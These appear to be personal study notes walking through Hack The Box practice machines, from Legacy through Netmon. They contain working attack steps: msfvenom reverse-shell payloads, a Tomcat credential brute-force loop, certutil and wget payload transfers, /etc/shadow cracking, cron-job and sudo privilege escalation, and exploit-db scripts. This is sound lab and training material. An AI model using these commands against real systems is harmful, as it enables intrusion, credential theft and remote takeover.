Legacy WalkThrough Info

SMB

VERSION: SP3
OS: Windows XP
TOOLS: Kali: SMB CLIENT (smbclient -L \\\\10.x.x.x.\\)

metasploit (search smb_version) *Copy and use auxilary scanner to try to find version. Use the found information and search the web for exploit
Best Sites for Exploits: Rapid7
Exploitdb

Use found Exploits

Lame Walkthrough Info

FTP
SSH

Samba SMBd

Version: vsFTPd 2.3.4
OS: Unix (Samba 3.0.20-Debian)
TOOLS: Kali: SMB CLIENT (smbclient -L \\\\10.x.x.x.\\)

Google Google version of the OS for exploits Found: metasploit ruby module
Post Exploitation: /etc/passwd (Users at the bottom)
/etc/shadow (Contains password hashes)
TOOL: kali: Unshadow (Prints unshadowed file. Take the output and try to crack the hashes using hashcat.)
Gather Network Info: arp -a, If/ipconfig, netstat, etc

Blue Walkthrough Info

SMB (ms17-010)

Common Service that you will see for Eternal Blue/Wannacry (Windows 7 Professional 7601 Service pack 1)
TOOLS: smbclient(kali)
msf(search for smb version)
AutoBlue (*Find on Github by 3ndG4me. This is a little bit more of a manual method where you don't use meterpreter)
Methods:
Automatic: Search with metasploit for auxilary scanner (search ms17-010)/Meterpreter shell
Manual: AutoBlue
UNSTAGED PAYLOAD: (generic/shell_reverse_tcp)
STAGED PAYLOAD: (generic/shell/reverse_tcp) ***if you are having trouble with getting a shell, try using a staged payload instead of an unstaged payload.

Devel Walkthrough Info

HTTP

TOOLS: DirBuster (Trying to find other directories) *Wordlists in usr/share/wordlists
DIRB
Nikto (If actual website)
Webserver Language: Microsoft: asm, asmx, asp, aspx
Apache: php

FTP

* FTP anonymous is enabled and we can put things onto the webserver (This is the go-to move for injection)
TOOLS: msfvenom cheatsheet to generate a payload to transfer via FTP (Generating malware)
Script for windows: msfvenom -p windows/meterpreter/reverse_tcp LHOST= x.x.x.x LPORT= xxxx -f aspx > ex.aspx
Metasploit multi/handler (Used as a listener)
*Set Payload to the exact Payload script, Set the same LHOST, same LPORT, etc
*Run and let sit
*To transfer script via FTP you can use ASCII, but you *should* convert to binary. To do this simply type "binary" into the ftp line and then PUT your document on the server
*To engage the uploaded script type into the search bar x.x.x.x/ex.aspx
*We do not have Authority system so we need to do more.
Meterpreter Post Modules:
Type "Background" to send the meterpreter session to the background.
Type "Search Suggester"
Found: post/multi/recon/local_exploit_suggester (This is going to look for PrivEsc solutions) - in this instance *(exploit/windows/local/ms10_015_kitrap0d)* is the best answer for PrivEsc
*May need to change LHOST/LPORT than current meterpretershell
May need to learn to navigate meterpreter sessions if you don't know how to do this already

***MANUAL METHOD:
*** For non meterpreter shells try looking for payloads in msfconsole and find a payload that is *windows/shell/reverse_tcp* (Still use the multi/handler as your listener OR use netcat [nc -nvlp PORT]

Jerry Walkthrough Info

HTTP ***Manual Default Credential Brute Force attack on a web server
Version: Apache Tomcat/Coyote JSP engine 1.1
Apache Tomcat/7.0.88
*Go to the site

TOOLS: Google Apache Tomcat Default credentials (manager app)
* GitHub has some default credentials

Burp Suite
* intercept data when logging in, right click on authorization and use decoder as base64, then forward to site
* Play with sending the data to Repeater
* Play with sending the data to intruder

Brute Forcing with Burp Suite:
* Create file with usernames and passwords found on google search (needs to be put into base64) (tomcat.txt)
* UserName:Passwd -> Convert to base64 and send

Bash For-Loop for Brute Force:
syntax for single base 64 conversion:
echo -n 'tomcat:tomcat' | base64
syntax for looping base 64 conversion of txt file:
for credentials in $(cat tomcat.txt); do echo -n $credentials | base64; done
* copy the output and go back to intruder in burp

* Intruder -> Positions -> Sniper attack
* intruder -> Payloads -> paste base64 converted list of un/passwds
* Start attack: Watch the status codes/ length (if length is very long it may be the correct creds), for long lists find an error and grep by copy and pasting the error into the payload rules box
* Decode the un/passwd and then turn off Burp
* Log on to the manager app with the found credentials
Tomcat manager uses WAR files
* We can upload a WAR file and create a reverse shell

Metaploit Payload Cheatsheet Website: https://netsec.ws/?p=331
Actual Payload: *msfvenom -p java/jsp_shell_reverse_tcp LHOST= x.x.x.x LPORT xxxx -f war > shell.war*
** This payload is unstaged consider trying staged if this does not work

*Set up netcat listener
*upload the file and click it to engage the shell

Secondary Method:
** You can also use Meterpreter and generate your own payload with msfvenom: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=xxxx -f exe > sh.exe
** Use multi/handler as listener

Best way to transfer a file to a windows machine from our machine to a web server is:
The BEST way is to host a web server with python: *python -m SimpleHTTPServer 80*
Then, we go to the desired file in our shell and type *certutil -urlcache -f http://x.x.x.x/sh.exe c:\users\administrator\desktop\sh.exe*
* you can put the file anywhere. Does not have to be the same file location as the above example.
Set up listener/use multi/handler and engage the transferred payload

Nibbles Walkthrough Info

SSH	Ubuntu 4ubuntu2.2
HTTP	Apache/2.4.18

TOOLS: Searchsploit
Search the source code
searchsploit * exploits/php/remote/38489.rb
(Check this out in metasploit by searching nibble and finding exploit/multi/http/nibbleblog_file_upload) - Must be authenticated

dirbuster/Dirb
CeWL Find the admin page and we can search for common logins and credentials or use **CeWL** to try words on the page, or use Burp Suite to brute force
*Enumerate the applicaton once logged in and find an exact version. Once we know the version, we can use the above exploit and use the found username and password
* Set targeturi /nibbleblog
* This uploads an image and gets us a shell. However this is with meterpreter and we are not root so we need to do some PrivEsc.
* in meterpr try sudo -l
try history
Scripts that are GOLD when enumerating Linux: * Transfer the files onto the machines and then execute them.
LinEnum.sh
linuxprivchecker.py
check netsec for linux privledge escalation

*Malicious File "bash -l"
* Make a malicious file and transfer via webserver using python -m SimpleHTTPServer 80
* wget http://x.x.x.x/filename.extension
* if we execute bash -l, it will give us an interactive shell with root permissions. This happens because we are going to be executing it as sudo.

chmod +x filename.extension
sudo filename.extension
*Try running as /home/nibbler/personal/stuff/filename.extension (Need to run full directory to get root privledges)

Optimum Walkthrough Info

HTTP HFS 2.3 (HFS does not have default credentials)
RejettoHTTPFileServer (Link at the bottom of the page)
TOOLS: Searchsploit for Rejetto
For manual exploit: https://www.exploit-db.com/exploits/39161

Meterpreter Solution: msf exploit -> windows/http/rejetto_hfs_exec

PrivEsc: *Be sure to gather the OS Name and OS Version before performing any searching for PrivEsc Solutions cmd -> sysinfo
Things to try for automated:
getsystem
background -> search suggester -> use post/multi/recon/local_exploit_suggester
*local exploit suggester does not do well with x64, but it does do well with x32. So we will do manual post exploitation.
MANUAL Post Exploitation Solutions(s):
The bible of Privledge escalation: https://www.fuzzysecurity.com/tutorials/16.html

TOOL: https://github.com/rasta-mouse/Sherlock (Searches for Windows PrivEsc Vulnerabilities) (can also, after using sysinfo to find the OS, google for PrivEsc solutions)
Copy raw to file an save.
Transfer the file to the vicitm machine
Copy file to desktop of victim machine by first opening a web server on your machine -> python -m SimpleHTTPServer 80
The on the comprimised victim machine use -> certutil -urlcache -f http://x.x.x.x/copiedrawfile.ps1 copiedrawfile.ps1
Once transferred we will execute by using the following command -> powershell.exe -exe -bypass -Command "& {Import-Module .\copiedrawfile.ps1; Find-AllVulns}" This is used to enumerate for potential vulnerabilities

Windows Exploit suggester -> https://github.com/GDSSecurity/Windows-Exploit-Suggester
Clone this tool and follow the directions to find potential expoits
Exploit used in this walkthrough for this os/version -> https://www.exploit-db./com/exploits/41020 -> Transfer this file the same way with server/certutil and run the executable

Bashed Walkthrough Info

HTTP Apache httpd 2.4.18

Enumerate the website
Use Seachsploit
TOOLS: Use dirbuster
go to the found directory of /dev/phpbash.php
*This will give us a webshell and from here we can enumerate further
*commands to try for escalation or switching user:
sudo -l
we can also search with the "history" command
To upload a malicious shell to a web server we can use:
*Search google for php reverse shell.
pentestmonkey.net/tools/web-shells/php-reverse-shell
Save to the desktop
Host a webserver on our machine
on the web shell -> wget http://x.x.x.x/savedfile.php
Set up a nc listener on our machine
execute the shell on the webserver
**Cant access the TTY (TTY is teletype shell, it prints things to the shell)
*Google tty escape
https://netsec.we/?p=337
*copy and paste solution until you are able to improve on the shell (You may need to alter these, and these *may* kill your shell so you might need to reopen a shell.)

Try to su to the scriptmanager user without password. If this doesn't work we can run commands as scriptmanager with the following syntax to gain access
* sudo -u scriptmanager /bin/bashed
* (Note: A command to get into root without supplying any password -> sudo su -)

Enumerate the scriptmanager file and find a chronjob file that we can overwrite "test.py". Note: that test.py executes as scriptmanager and then output is sent to a txt file that is owned by root.
Go to google and search for "python reverse shell" (Pentest Monkey has a great reverse shell cheatsheet for one liners)
Change python script bin/sh to bin/bash, set port and ip
Set up a netcat listener on our machine
Host a webserver
Transfer to the file to the victim machine by either overwriting the current test.py file, or rm test.py and then wget from our hosted web server
The file should execute when the chronjob calls it again, and this should connect to our listener if we've done things correctly

Grandpa Walkthrough Info (Granny is very similar)

HTTP Microsoft IIS httpd 6.0

* Need to learn methods i.e. TRACE, COPY, PROPFIND, SEARCH, LOCK, UNLOCK, DELETE, PUT , MOVE, MKCOL, PROPPATCH, etc
* Also cover response codes

TOOLS: Google Microsoft IIS httpd 6.0 (https://www.exploit-db.com/exploits/41738) - Buffer overflow
Searchsploit ScStoragePathFromUrl (Found from google search on exploit-db)
Use Metasploit and search ScStoragePathFromUrl again
Use exploit/windows/iis/iis_webdav_scstoragepathfromurl
* May need to run a few times to get the shell to work
We are not root in our shell. So we need to pick a service and try to get a user.
try to migrate with meterpreter to the network service -> migrate PID
PrivEsc:
background meterpreter
search suggester -> multi/recon/local_exploit_suggester
Copy and go downt the list to find a working local exploit (kitrap0d is good one)

Netmon Walkthrough Info

Lots of stuff open. Rpc, web servers are being hosted. Focus will be below. However, the theory (plan of attack) provided by TCM is as follows:

FTP ftp-anon
HTTP Indy httpd 18.1.37.13946
go to the website
There is a login so lets google default credentials for the service (prtg network monitor default credentials)
google exploits for potential remote code execution (prtg network monitor exploit)
Need to find prtg network monitor db file location
ftp and navigate into the Application data\Paessler\PRTG Network Monitor folder that we discovered when searching for the db file
download PRTG Config files with -> get "file"
once downloaded cat the files and grep from prtgadmin or open and use ctrl f to see if we can find an admin password
use credentials to login to the webserver (Change year from 2018 to 2019 when logging in. This is important to remember professionally and for other boxes. Very realistic)
TOOLS: Burp Suite: we are after the cookie from the webserver. So we need to intercept data by using burp suite and refreshing the prtg network monitor page
Copy the found script from exploit-db and paste it into a .sh file (exploit-db -> https://www.exploit-db.com/exploits/46527)
Execute the .sh file against the webserver with the found cookie: ./filename.sh -u http://x.x.x.x -c "found cookie"
This will create a user and password on the victim machine (see the exploit)

impacket: (clone or download impacket)
* This is great for psexec.py
(can also run wmiexec) - semi interactive shell
(can also run smbexec)

*We have anonymous login on port 21 so we have access to the file system
*We can transfer files with ftp, but there is NO remote code execution.
*There is also a web server running, so lets upload a file with ftp and then execute with the webserver. Web servers are GREAT for remote code execution.
*However there are easier paths than ftp on this box.

psexec.py and enter the credentials that we have created. Syntax -> Username:Password @x.x.x.x
We are now rooted without using metasploit